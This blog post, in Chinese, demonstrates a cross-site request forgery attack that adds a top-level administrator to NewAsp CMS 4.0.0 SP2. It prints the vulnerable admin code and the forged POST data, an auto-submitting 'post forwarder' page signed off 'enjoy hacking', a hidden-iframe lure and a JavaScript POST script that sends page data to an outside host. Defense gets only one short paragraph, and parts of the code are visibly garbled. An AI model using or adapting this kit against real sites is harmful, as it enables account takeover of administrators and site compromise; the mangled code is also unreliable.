XSRF攻击流程大致如下:
从上图可以看出,要完成一次XSRF攻击,比较关键的三个问题:
1) 会话状态[A]的保持,即用户已经获取了易受攻击网站A的信任授权。
2) 用户在依然保持没有登出易受攻击网站A的情况下,访问了“第三方网站”。
3) 提交的“操作”数据包是可以预知的。
国内的许多大型WEB程序开发者好像对XSRF没有足够的重视,这些看似需要特定场景才能诱发的漏洞,在结合XSS后,想来威胁应该不在注入之下。本文以新云管理系统来实例演示添加管理员。
在网上下载的版本是”NewAsp CMS Version 4.0.0 SP2”。在新云管理系统添加管理员的构造表单如下,代码在“/wwwroot/admin/users/admin_master.asp”
<form. action="?action=savenew" accept-charset="UNKNOWN" enctype="application/x-www-form-urlencoded" method="post"><table class="tableborder" border="0" cellspacing="1" cellpadding="3" align="center"><tbody><tr><th colspan="2">添加管理员</th></tr><tr><td class="tablerow1" width="25%" align="right"><strong>后台登陆名称:</strong></td><td class="tablerow1" width="75%"><input name="username2" size="30" type="text" /></td></tr><tr><td class="tablerow2" align="right"><strong>后台登陆密码:</strong></td><td class="tablerow2"><input name="password2" size="30" type="password" /></td></tr><tr><td class="tablerow1" align="right"><strong>管理员级别:</strong></td><td class="tablerow1"><input checked="checked" name="AdminGrade" type="radio" value="0" /> 普通管理员 <input name="AdminGrade" type="radio" value="999" /> 高级管理员(拥有最高权限) <input name="AdminGrade" type="radio" value="111" /> 只读管理员</td></tr><tr><td class="tablerow2" align="right"><strong>限制一个管理员登陆:</strong></td>< td class="tablerow2"><input checked="checked" name="isAloneLogin" type="radio" value="1" /> 是 <input name="isAloneLogin" type="radio" value="0" /> 否</td></tr><tr><td class="tablerow1" align="right"><strong>是否激活管理员:</strong></td><td class="tablerow1"><input checked="checked" name="isLock" type="radio" value="0" /> 是 <input name="isLock" type="radio" value="1" /> 否</td></tr><tr><td class="tablerow2" align="right"><strong> </strong></td><td class="tablerow2"><input class="button" name="reset_button" type="reset" value="清 除" /> <input class="button" name="submit_button" type="submit" value="提 交" /></td></tr></tbody></table></form> 从代码可以看出构造的提交表单没有再次验证,而是让cookie来简单判定用户操作行为,即使cookie的滥用,导致xsrf漏洞的出现。
以下代码是新云管理系统添加管理员的代码:
Sub savenew()Dim Rs,SQLDim adminuseridIf Request.Form("username2") = "" ThenErrMsg = "请输入后台登陆用户名!"Founderr = TrueExit SubElseadminuserid = Request.Form("username2")End IfIf Request.Form("password2") = "" ThenErrMsg = "请输入后台登陆密码!"Founderr = TrueExit SubEnd IfSet Rs=NewAsp.Execute("SELECT username FROM NC_Admin WHERE username='" & Replace(Request.Form("username2"), "'", "") & "'")If Not (Rs.EOF And Rs.bof) ThenErrMsg = "您输入的用户名已经在管理用户中存在!"Founderr = TrueExit SubEnd IfSet Rs=NewAsp.CreateAXObject("ADODB.Recordset")="SELECT * FROM NC_Admin WHERE (id is null)"Rs.open SQL,conn,1,3Rs.addnewRs("username") = Replace(Request.Form("username2"), "'", "")If NewAsp.ChkNumeric(Request.Form("AdminGrade")) = 999 ThenRs("status") = "高级管理员"ElseIf NewAsp.ChkNumeric(Request.Form("AdminGrade")) = 111 ThenRs("status") = "只读管理员"ElseRs("status") = "普通管理员"End IfRs("password") = md5(Request.Form("password2"),16)Rs("isLock") = NewAsp.ChkNumeric(Request.Form("isLock"))Rs("AdminGrade") = NewAsp.ChkNumeric(Request.Form("AdminGrade"))Rs("Adminflag") = ",,,,,,,,,,,,,,,"Rs("LoginTime") = Now()Rs("Loginip") = NewAsp.UserTrueIPRs("RandomCode") = NewAsp.GetRandomCode(16)Rs("isAloneLogin") = NewAsp.ChkNumeric(Request.Form("isAloneLogin"))Rs.updateRs.close:set Rs=NothingSucceed ("用户ID:" & adminuserid & " 添加成功,请到管理员管理给予相应的权限,如需修改请返回管理员管理!")End Sub 对添加管理员操作进行抓包分析,如图:
只是向/admin/users/admin_master.asp?action=savenew 页面POST一行数据“
username2=fan& amp;password2=fan&AdminGrade=999&isAloneLogin=1&isLock=0& amp;submit_button=%CC%E1+%BD%BB“,这就是添加网站管理员的一个数据操作。我们来模拟提交一下,在Firefox浏览器 安装插件Hackbar,如图:
点选”Enble Post data”空框按钮,填写Post的地址和数据,来添加一个用户名和密码均为nuanyue,如图:
由于xsrf攻击需要劫持网站的授权,所以之前是需要登录后台的,点击“Execute”进行提交,如图:
提示添加用户nuanyue成功,刚模拟了数据提交的过程,只要劫持了cookie就能直接添加管理员了。通过模拟提交数据,可以肯定新云网站管理系统存在XSRF漏洞。
在分析了数据提交的过程,需要构造一个在后台自动提交的文件,lake2在其csrf攻击与防御的中,提供了一个Asp提交的代码:
Post.asp<!--r /> response.write("<title>XSS post forwarder</title>")lake2 = antiXSS(request("lake2"))if lake2<>"" thenresponse.write("<form. method='post' action='" & lake2 & "'>")for each b in request.QueryStringif b <> "lake2" then response.write("<input type='hidden' value='" & antiXSS(request(b)) & "' name='" & antiXSS(b) & "' />")nextresponse.write("</form> ")response.write("<mce :script. type="text/javascript">< ! document.forms[0].submit(); // ></mce>")elseresponse.Write("enjoy hacking :p")end if ' -_-!!function antiXSS(str)str = replace(str, "'", "")antiXSS = strend function--> 在调用时用到iframe框架调用代码2.html如下:
<iframe. width=0 height=0 src="http://192.168.1.107/post.asp?lake2=http://192.168.1.109/admin/users/admin_master.asp?action=savenew&username2=fan&password2=fan&AdminGrade=999&isAloneLogin=1&isLock=0&submit_button=%CC%E1+%BD%BB"></iframe> 在构造好用于数据提交的文件后,剩下就是诱使网站管理员来访问网页了。当然如果有xss漏洞,则可以用Javascript直接调用。如图:
当网站管理员点击时,我们对此抓包分析看跟在网站管理后台提交的数据包是否一样:
与模拟提交的过程一样,成功添加网站管理员:
看来XSRF攻击还是挺简单的。只是看你如何利用了。从攻击过程来看,攻击者劫持登录到网站的受信任者的cookie而构造了一个后台提交Post 数据的网页,当受信任者访问了此构造的网页就会在后台隐藏提交添加管理员的数据包,从而利用了受信cookie值进行操作。在防范此类攻击时,一般的解决 方案是页面使用验证码,这是最直接和简单的,在验证码算法没有被攻破前,是最有效的。当然还有一些不太完善的方法,比如检查HTTP请求来路,检查 COOKIE凭据,隐藏表单等。在检测访问来路的方案中,获得HTTP请求中的来路信息,攻击者是可以伪造HTTP Referer进行欺骗,在检查COOKIE凭据时,攻击者可以通过XSS轻易获取其值,而隐藏表单则只需要分析提交的数据,即可模拟提交,当然上述方法 如果结合别的技术也是可行的
分享以前写的Post数据JS版:
<script. language="javascript">varbXmlHttpSupport=(typeofXMLHttpRequest=="object"||window.ActiveXObject); functionhttpPost(sURL,sParams){ varoURL=new.net.URL(sURL);varoConnection=oURL.openConnection(); oConnection.setDoInput(true);oConnection.setDoOutput(true);oConnection.setUseCaches(false);oConnection.setRequestProperty("Content-Type","application/x-www-form-urlencoded"); varoOutput=newjava.io.DataOutputStream(oConnection.getOutputStream());oOutput.writeBytes(sParams);oOutput.flush();oOutput.close(); varsLine="",sResponseText=""; varoInput=newjava.io.DataInputStream(oConnection.getInputStream());sLine=oInput.readLine(); while(sLine!=null){sResponseText+=sLine+"\n";sLine=oInput.readLine();} oInput.close(); returnsResponseText;} functionaddPostParam(sParams,sParamName,sParamValue){if(sParams.length>0){sParams+="&";}returnsParams+encodeURIComponent(sParamName)+"="+encodeURIComponent(sParamValue);} functionaddURLParam(sURL,sParamName,sParamValue){sURL+=(sURL.indexOf("?")==-1?"?":"&");sURL+=encodeURIComponent(sParamName)+"="+encodeURIComponent(sParamValue);returnsURL;} if(typeofXMLHttpRequest=="undefined"&&window.ActiveXObject){ functionXMLHttpRequest(){ vararrSignatures=["MSXML2.XMLHTTP.5.0","MSXML2.XMLHTTP.4.0","MSXML2.XMLHTTP.3.0","MSXML2.XMLHTTP","Microsoft.XMLHTTP"]; for(vari=0;i<arrSignatures.length;i++){try{ varoRequest=newActiveXObject(arrSignatures[i]); returnoRequest; }catch(oError){//ignore}} thrownewError("MSXML is not installed on your system.");}} varHttp=newObject; Http.post=function(sURL,sParams,fnCallback){ if(bXmlHttpSupport){ varoRequest=newXMLHttpRequest();oRequest.open("post",sURL,true);oRequest.setRequestHeader("Content-Type","application/x-www-form-urlencoded");oRequest.onreadystatechange=function(){if(oRequest.readyState==4){fnCallback(oRequest.responseText);}}oRequest.send(sParams); }elseif(navigator.javaEnabled()&&typeofjava!="undefined"&&typeofjava.net!="undefined"){ setTimeout(function(){fnCallback(httpPost(sURL,sParams));},10);}else{alert("Your browser doesn't support HTTP requests.");} }; functiongetServerInfo(data){varsURL="http://www.nuanyuecom/te.php";varsParams="";sParams=addPostParam(sParams,"name",data);sParams=addPostParam(sParams,"book","Professional JavaScript"); Http.post(sURL,sParams,function(sData){alert("Data from : "+sData);}); } varh=location.hash;vara=h.split("#");varb=unescape(a[a.length-1]);getServerInfo(b);
-
没有评论:
发表评论